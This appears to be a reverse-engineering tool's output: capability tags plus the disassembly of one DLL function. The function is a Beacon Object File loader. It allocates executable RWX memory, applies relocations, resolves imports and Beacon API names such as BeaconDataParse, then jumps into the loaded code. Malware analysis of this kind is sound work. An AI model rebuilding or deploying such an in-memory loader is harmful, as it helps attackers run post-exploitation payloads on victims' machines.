Function at 0x1800011f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
push rbp
push rdi
push r12
push r14
sub rsp, 0x560
mov rax, qword [0x180005008]
xor rax, rsp
mov qword [rsp + 0x540], rax
mov r14, rdx
mov qword [rsp + 0x48], rdx
mov r12, rcx
mov qword [rsp + 0x68], rcx
xor ebx, ebx
mov qword [rsp + 0x60], r9
xor edx, edx
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x70]
mov r8d, 0xc8
mov rbp, r9
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x28], ebx
mov edi, ebx
test r14, r14
jne 0x180001255
lea eax, [rbx + 1]
jmp 0x1800018b3
mov qword [rsp + 0x590], rsi
mov esi, ebx
mov qword [rsp + 0x558], r13
mov r13d, dword [r14 + 8]
add r13, r14
mov qword [rsp + 0x550], r15
cmp bx, word [r14 + 2]
jae 0x1800012cf
lea rdi, [rsp + 0x70]
lea rbx, [r14 + 0x24]
nop word [rax + rax]
mov edx, dword [rbx]
xor ecx, ecx
mov r8d, 0x103000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [rbx + 4]
mov rcx, rax
mov r8d, dword [rbx]
add rdx, r14
mov qword [rdi], rax
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [r14 + 2]
lea rbx, [rbx + 0x28]
inc esi
lea rdi, [rdi + 8]
cmp esi, eax
jl 0x180001290
mov edi, dword [rsp + 0x28]
xor ecx, ecx
mov edx, 0x800
mov r8d, 0x103000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor esi, esi
mov qword [rsp + 0x30], rax
mov ecx, esi
mov r15, rax
mov dword [rsp + 0x40], ecx
cmp si, word [r14 + 2]
jae 0x1800017f2
lea rax, [r14 + 0x34]
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rax
lea r12, [rsp + 0x70]
mov r11d, 0xffffffff
nop word [rax + rax]
mov ebp, dword [rax - 8]
add rbp, r14
mov dword [rsp + 0x3c], esi
cmp si, word [rax]
jae 0x18000165f
lea eax, [rdi*8]
mov dword [rsp + 0x38], eax
nop
mov eax, dword [rbp + 4]
lea rcx, [rax + rax*8]
lea r9, [rcx*2]
add r9, r13
cmp byte [r9], 0
je 0x18000142d
movzx eax, word [rbp + 8]
cmp ax, 1
jne 0x18000137f
mov edx, dword [rbp]
movzx eax, word [r9 + 0xc]
add rdx, qword [r12]
mov rcx, qword [rsp + rax*8 + 0x68]
add qword [rdx], rcx
jmp 0x180001638
cmp ax, 3
jne 0x1800013cb
mov r8d, dword [rbp]
mov rdx, qword [r12]
mov eax, dword [rdx + r8]
mov dword [rsp + 0x20], eax
movzx eax, word [r9 + 0xc]
mov r9, qword [rsp + 0x20]
add r9, 0xfffffffffffffffc
mov rcx, qword [rsp + rax*8 + 0x68]
sub rcx, rdx
sub rcx, r8
add r9, rcx
cmp r9, r11
jg 0x1800017d7
mov eax, r9d
mov qword [rsp + 0x20], r9
mov dword [rdx + r8], eax
jmp 0x180001638
cmp ax, 4
jne 0x180001638
mov edx, dword [rbp]
mov r8, qword [r12]
mov eax, dword [r8 + rdx]
mov dword [rsp + 0x20], eax
movzx eax, word [r9 + 0xc]
mov r10, qword [rsp + rax*8 + 0x68]
mov rax, r10
sub rax, r8
sub rax, rdx
sub rax, 4
cmp rax, r11
jg 0x1800017d7
mov ecx, dword [r9 + 8]
mov rax, qword [rsp + 0x20]
sub rcx, r8
sub rcx, rdx
add rax, 0xfffffffffffffffc
add rcx, r10
add rcx, rax
mov qword [rsp + 0x20], rcx
mov eax, ecx
mov dword [r8 + rdx], ecx
jmp 0x180001638
mov eax, dword [r14 + 0xc]
mov r8d, 0x400
mov ecx, dword [r9 + 4]
mov r15, rsi
add rcx, r13
lea rdx, [rax + rax*8]
lea rbx, [rcx + rdx*2]
xor edx, edx
lea rcx, [rsp + 0x140]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x3ff
lea rcx, [rsp + 0x140]
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov r8d, 0xc
lea rdx, str.__imp_Beacon
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x180001591
mov r8d, 0x10
lea rdx, str.__imp_toWideChar
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x180001591
mov r8d, 0x14
lea rdx, str.__imp_GetProcAddress
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x180001591
mov r8d, 0x12
lea rdx, str.__imp_LoadLibraryA
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x180001591
mov r8d, 0x16
lea rdx, str.__imp_GetModuleHandleA
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x180001591
mov r8d, 0x11
lea rdx, str.__imp_FreeLibrary
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x180001591
mov r8d, 6
lea rdx, str.__imp_
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x1800015e6
lea rdx, [0x18000332c]
lea rcx, [rsp + 0x146]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
lea rdx, [0x18000332c]
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov rcx, rax
lea rdx, [0x180003330]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
jmp 0x1800015e6
lea r14, [rbx + 6]
mov edi, esi
lea rbx, str.BeaconDataParse
nop
mov rdx, qword [rbx]
test rdx, rdx
je 0x1800015c7
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x1800015b0
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1800015d7
inc edi
inc rsi
add rbx, 0x10
cmp edi, 0x1d
jl 0x1800015a0
jmp 0x1800015e6
add rsi, rsi
lea rax, str.BeaconDataParse
mov r15, qword [rax + rsi*8 + 8]
mov edx, dword [rbp + 4]
mov r9d, edx
test r15, r15
jne 0x180001601
lea rcx, [rdx + rdx*8]
cmp word [r13 + rcx*2 + 0xc], r15w
je 0x1800017d7
movzx eax, word [rbp + 8]
cmp ax, 1
jne 0x180001689
mov edx, dword [rbp]
add rdx, qword [r12]
mov eax, r9d
lea rcx, [rax + rax*8]
movzx eax, word [r13 + rcx*2 + 0xc]
mov rcx, qword [rsp + rax*8 + 0x68]
add qword [rdx], rcx
mov edi, dword [rsp + 0x28]
mov r11d, 0xffffffff
mov r14, qword [rsp + 0x48]
xor esi, esi
mov ecx, dword [rsp + 0x3c]
add rbp, 0xa
mov rax, qword [rsp + 0x50]
inc ecx
mov dword [rsp + 0x3c], ecx
movzx eax, word [rax]
cmp ecx, eax
jl 0x180001340
mov rax, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x40]
add rax, 0x28
inc ecx
mov qword [rsp + 0x50], rax
add r12, 8
movzx eax, word [r14 + 2]
mov dword [rsp + 0x40], ecx
cmp ecx, eax
jge 0x1800017e3
mov rax, qword [rsp + 0x50]
jmp 0x180001320
cmp ax, 4
jne 0x180001779
mov r8, qword [r12]
test r15, r15
je 0x18000170f
mov eax, dword [rbp]
movsxd r10, dword [rsp + 0x38]
mov r9, qword [rsp + 0x30]
mov rcx, r10
sub rcx, rax
sub rcx, r8
lea rax, [r9 - 4]
add rax, rcx
mov ecx, 0xffffffff
cmp rax, rcx
jg 0x1800017d7
mov r11, qword [rsp + 0x58]
mov eax, r9d
mov edi, dword [rsp + 0x28]
inc edi
mov dword [rsp + 0x28], edi
mov qword [r9 + r11*8], r15
mov edx, dword [rbp]
sub eax, edx
sub eax, r8d
add eax, 0xfffffffc
add eax, r10d
add r10d, 8
movsxd rcx, eax
inc r11
mov qword [rsp + 0x58], r11
mov eax, ecx
mov qword [rsp + 0x20], rcx
mov dword [rdx + r8], ecx
mov dword [rsp + 0x38], r10d
jmp 0x18000162b
mov r9d, edx
mov r11d, 0xffffffff
mov edx, dword [rbp]
mov eax, dword [r8 + rdx]
mov dword [rsp + 0x20], eax
mov eax, r9d
lea rcx, [rax + rax*8]
movzx eax, word [r13 + rcx*2 + 0xc]
mov r9, qword [rsp + rax*8 + 0x68]
mov rax, r9
sub rax, r8
sub rax, rdx
sub rax, 4
cmp rax, r11
jg 0x1800017d7
mov ecx, dword [r13 + rcx*2 + 8]
mov rax, qword [rsp + 0x20]
sub rcx, r8
mov edi, dword [rsp + 0x28]
sub rcx, rdx
add rax, 0xfffffffffffffffc
add rcx, r9
add rcx, rax
mov qword [rsp + 0x20], rcx
mov eax, ecx
mov dword [r8 + rdx], ecx
jmp 0x180001631
cmp ax, 3
jne 0x180001627
mov r8d, dword [rbp]
mov r11d, 0xffffffff
mov rdx, qword [r12]
mov eax, dword [rdx + r8]
mov dword [rsp + 0x20], eax
mov eax, r9d
mov r9, qword [rsp + 0x20]
add r9, 0xfffffffffffffffc
lea rcx, [rax + rax*8]
movzx eax, word [r13 + rcx*2 + 0xc]
mov rcx, qword [rsp + rax*8 + 0x68]
sub rcx, rdx
sub rcx, r8
add r9, rcx
cmp r9, r11
jg 0x1800017d7
mov edi, dword [rsp + 0x28]
mov eax, r9d
mov dword [rdx + r8], eax
mov qword [rsp + 0x20], r9
jmp 0x180001631
mov r15, qword [rsp + 0x30]
mov esi, 1
jmp 0x180001858
mov r15, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
cmp dword [r14 + 0xc], 0
mov ebx, esi
jbe 0x180001858
mov edi, dword [rsp + 0x5b0]
mov eax, ebx
mov r8, r12
lea rcx, [rax + rax*8]
lea r9, [rcx*2]
add r9, r13
mov rax, r9
sub r8, r9
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180001833
inc rax
test ecx, ecx
jne 0x180001820
test edx, edx
jne 0x180001850
mov ecx, dword [r9 + 8]
mov edx, edi
movzx eax, word [r9 + 0xc]
mov r8, qword [rsp + rax*8 + 0x68]
add r8, rcx
mov rcx, rbp
call r8
inc ebx
cmp ebx, dword [r14 + 0xc]
jb 0x180001802
mov r13, qword [rsp + 0x558]
lea rbx, [rsp + 0x70]
mov edi, 0x19
nop word [rax + rax]
mov rcx, qword [rbx]
test rcx, rcx
je 0x180001886
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
add rbx, 8
sub rdi, 1
jne 0x180001870
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r15, qword [rsp + 0x550]
mov eax, esi
mov rsi, qword [rsp + 0x590]
mov rcx, qword [rsp + 0x540]
xor rcx, rsp
call fcn.1800020c0
add rsp, 0x560
pop r14
pop r12
pop rdi
pop rbp
pop rbx
ret